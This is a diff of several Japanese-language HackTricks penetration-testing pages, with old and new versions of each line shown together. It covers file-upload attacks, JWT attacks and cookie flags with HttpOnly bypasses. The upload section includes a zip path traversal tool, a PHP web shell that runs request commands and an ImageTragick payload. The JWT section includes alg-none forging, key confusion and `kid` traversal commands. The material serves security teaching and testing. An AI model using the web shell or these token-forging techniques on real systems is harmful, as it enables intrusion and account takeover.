そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは次のように使用できます
そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは次のように使用できます:
```python
# Listing available options
python2 evilarc.py -h
@ -266,9 +266,9 @@ zip.close()
create_zip()
```
**圧縮を悪用したファイルスプレー**
**圧縮を悪用したファイルスプレーイング**
詳細について**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています。
@ -279,7 +279,7 @@ $cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **ファイルスプレーと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
2. **ファイルスプレーイングと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)** (元の[エクスプロイト](https://www.exploit-db.com/exploits/39767))
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**[エクスプロイト](https://www.exploit-db.com/exploits/39767)から)
```
push graphic-context
viewbox 0 0 640 480
@ -306,17 +306,17 @@ pop graphic-context
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["PNG IDATチャンクにおけるWebシェルのエンコーディング"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
詳細情報は: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## ポリグロットファイル
ポリグロットファイルはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例として、[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
ポリグロットファイルはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例として、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避る能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマットJS、PHP、またはPharファイルによるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマットJS、PHP、Pharファイルによるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットが同時にPHARファイルPHp ARchiveとJPEGを具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります
適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分かもしれません
詳細情報は: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,15 +329,15 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
あなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,27 +1,27 @@
# JWTの脆弱性 (Json Web Tokens)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
**ハッキングキャリア**に興味があり、アンハッカブルをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
{% embed url="https://www.stmcyber.com/careers" %}
**この記事の一部は素晴らしい投稿に基づいています** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**この記事の一部は素晴らしい投稿に基づいています:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWTをペンテストするための素晴らしいツールの作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **クイックウィン**
@ -50,7 +50,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
JWTの署名が検証されているかどうかを確認するには
* エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる機密情報を確認する必要があります。
* エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる敏感な情報を確認する必要があります。
* 返されたページの変更も検証を示します。
* 変更がない場合は検証が行われていないことを示します;この時にペイロードの主張を改ざんする実験を行います。
@ -73,16 +73,16 @@ JWTの署名が検証されているかどうかを確認するには
使用するアルゴリズムを「None」に設定し、署名部分を削除します。
Burp拡張機能「JSON Web Token」を使用してこの脆弱性を試し、JWT内の異なる値を変更しますリクエストをリピーターに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます
Burp拡張機能「JSON Web Token」を使用してこの脆弱性を試し、JWT内の異なる値を変更しますリクエストをリピーターに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます
### アルゴリズムをRS256非対称からHS256対称に変更するCVE-2016-5431/CVE-2016-10555
### アルゴリズムRS256非対称HS256対称に変更するCVE-2016-5431/CVE-2016-10555
アルゴリズムHS256は、秘密鍵を使用して各メッセージに署名し、検証します。\
アルゴリズムRS256は、プライベートキーを使用してメッセージに署名し、公開鍵を認証に使用します。
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行して、ウェブサーバーの証明書を取得できます:
次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行してWebサーバーの証明書を取得できます:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -103,7 +103,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
* トークンの「jku」値を変更して、制御されたWebサービスに向け、トラフィックを観察できるようにします。
* **HTTPインタラクションの監視**:
* 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。
* このプロセスで`jwt_tool`を使用する際は、テストを容易にするために`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。
* このプロセスで`jwt_tool`を使用する際は、テストを容易にするために`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。
* **`jwt_tool`のコマンド**:
* 次のコマンドを実行して、`jwt_tool`でシナリオをシミュレートします:
@ -121,7 +121,7 @@ python3 jwt_tool.py JWT_HERE -X s
#### 「kid」を使用したパストラバーサル
`kid`主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするために`kid`値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリSSRF攻撃を実行することが可能です。元の署名を保持しながら`kid`値を変更するためにJWTを改ざんすることは、以下のように`-T`フラグを使用して行うことができます:
`kid`主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするために`kid`値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリSSRF攻撃を実行することが可能です。元の署名を保持しながら`kid`値を変更するためにJWTを改ざんすることは、以下のように`-T`フラグを使用して`jwt_tool`で実行できます。
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -171,7 +171,7 @@ X.509 URL。PEM形式でエンコードされた一連のX.509(証明書フォ
**このヘッダーをあなたの管理下にあるURLに変更して**、リクエストが受信されるか確認してください。その場合、**JWTを改ざんすることができるかもしれません**。
あなたが制御する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります:
あなたが管理する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
@ -195,11 +195,11 @@ openssl x509 -in attacker.crt -text
```
### 埋め込まれた公開鍵 (CVE-2018-0114)
JWTが次のシナリオのように埋め込まれた公開鍵を持っている場合:
JWTに次のシナリオのように埋め込まれた公開鍵がある場合:
![](<../.gitbook/assets/image (624).png>)
次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することができます:
次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することができます
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
@ -231,11 +231,11 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
いくつかのアプリケーションがES256を使用し、同じンスを使用して2つのJWTを生成する場合、秘密鍵を復元できます。
ここに例があります: [ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにする (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5)
ここに例があります: [ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにし方 (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
JTI (JWT ID)クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\
JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\
しかし、IDの最大長が40001-9999である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストを再生する**ことができます各成功した再生の間に10000リクエストを送信する必要があります
### JWT登録クレーム
@ -248,27 +248,27 @@ JTI (JWT ID)クレームは、JWTトークンの一意の識別子を提供し
いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。
* あなたのトークンが受け入れられることによって重大な問題が示される可能性があり、これにより任意のユーザーアカウントの偽装が可能になるかもしれません。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります
* あなたのトークンが受け入れられることによって重大な問題が示される可能性があり、これにより任意のユーザーアカウントの偽装が可能になるかもしれません。ただし、サードパーティアプリケーションにサインアップする場合、これは法的なグレーゾーンに入る可能性があるため、より広範なテストの許可が必要になることに注意してください
**トークンの有効期限チェック**
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になることがあります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が過ぎた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析有効期限のチェックUTCのタイムスタンプを含むは、jwt_toolの-Rフラグを使用して読み取ることができます。
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になることがあります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が切れた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェックUTCのタイムスタンプを含むは、jwt_toolの-Rフラグを使用して読み取ることができます。
* アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があるため、セキュリティリスクが存在するかもしれません。
* アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならないことを示唆する可能性があるため、セキュリティリスクが存在するかもしれません。
### ツール
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
あなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -276,7 +276,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,32 +1,31 @@
# Cookies Hacking
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に、または**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cookie Attributes
クッキーには、ユーザーのブラウザでの動作を制御するいくつかの属性があります。これらの属性についての概要は以下の通りです。
Cookiesには、ユーザーのブラウザでの動作を制御するいくつかの属性があります。これらの属性について、より受動的な声で説明します。
### Expires and Max-Age
クッキーの有効期限は`Expires`属性によって決まります。一方、`Max-age`属性は、クッキーが削除されるまでの時間(秒単位)を定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。**
クッキーの有効期限は`Expires`属性によって決まります。対照的に、`Max-age`属性はクッキーが削除されるまでの時間(秒単位)を定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。**
### Domain
クッキーを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはクッキーを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、サブドメイン間でのクッキー共有が必要なシナリオで役立つ、`Domain`属性の指定が制限されないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでクッキーにアクセスできます。
クッキーを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはクッキーを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、`Domain`属性の指定は、サブドメイン間でのクッキー共有が必要なシナリオで便利な、制限の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでクッキーにアクセスできます。
### Path
@ -42,51 +41,51 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### SameSite
* `SameSite`属性は、クッキーがサードパーティのドメインからのリクエストで送信されるかどうかを決定します。3つの設定があります
* **Strict**サードパーティのリクエストでクッキーが送信されるのを制限します。
* **Lax**サードパーティのウェブサイトによって開始されたGETリクエストでクッキーが送信されることを許可します。
* **None**:任意のサードパーティドメインからクッキーが送信されることを許可します。
* **Strict**: サードパーティのリクエストでクッキーが送信されるのを制限します。
* **Lax**: サードパーティのウェブサイトによって開始されたGETリクエストでクッキーが送信されることを許可します。
* **None**: どのサードパーティのドメインからでもクッキーが送信されることを許可します。
クッキーを設定する際には、これらの属性を理解することで、さまざまなシナリオで期待通りに動作することを確保できます。
| **リクエストタイプ** | **例コード** | **クッキーが送信される場合** |
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
| リンク | \<a href="...">\</a> | NotSet\*, Lax, None |
| プリレンダリング | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| フォームGET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| フォームPOST | \<form method="POST" action="..."> | NotSet\*, None |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| 画像 | \<img src="..."> | NetSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
表は[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)からのもので、若干修正されています。\
_**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**。ログインセッションが必要です。
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
_**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します。ログインセッションが必要です。
**\*Chrome802019年2月以降、SameSite属性を持たないクッキーのデフォルトの動作はLaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
この変更を適用した後、Chromeでは**SameSiteポリシーを持たないクッキーは最初の2分間はNoneとして扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。**
**\*Chrome802019年2月以降、SameSite属性ないクッキーのデフォルトの動作はLaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
この変更を適用した後、Chromeでは**SameSiteポリシーないクッキーは最初の2分間はNoneとして扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。**
## Cookies Flags
### HttpOnly
これ**クライアント**がクッキーにアクセスするのを防ぎます(例えば**Javascript**経由:`document.cookie`)。
これにより、**クライアント**がクッキーにアクセスするのを防ぎます(例えば**Javascript**経由`document.cookie`)。
#### **バイパス**
#### **Bypasses**
* ページがリクエストのレスポンスとしてクッキーを**送信している**場合(例えば**PHPinfo**ページ、XSSを悪用してこのページにリクエストを送り、レスポンスから**クッキーを盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。
* **TRACE** **HTTP**リクエストを使用することでバイパス可能です。このHTTPメソッドが利用可能な場合、サーバーからのレスポンスは送信されたクッキーを反映します。この技術は**クロスサイトトラッキング**と呼ばれます。
* ページがリクエストのレスポンスとしてクッキーを**送信している**場合(例えば**PHPinfo**ページ、XSSを悪用してこのページにリクエストを送り、レスポンスから**クッキーを盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。
* **TRACE** **HTTP**リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたクッキーを反映しますこのHTTPメソッドが利用可能な場合。この技術は**Cross-Site Tracking**と呼ばれます。
* この技術は、**モダンブラウザがJSからTRACEリクエストを送信することを許可しないことによって回避されます**。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、特定のソフトウェアでのバイパスが見つかっています。
* の方法は、ブラウザのゼロデイ脆弱性を悪用することです。
* クッキージャーオーバーフロー攻撃を実行することで**HttpOnlyクッキーを上書きする**ことが可能です:
* もう一つの方法は、ブラウザのゼロデイ脆弱性を悪用することです。
* クッキージャーオーバーフロー攻撃を実行することで**HttpOnlyクッキーを上書きする**ことが可能です:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
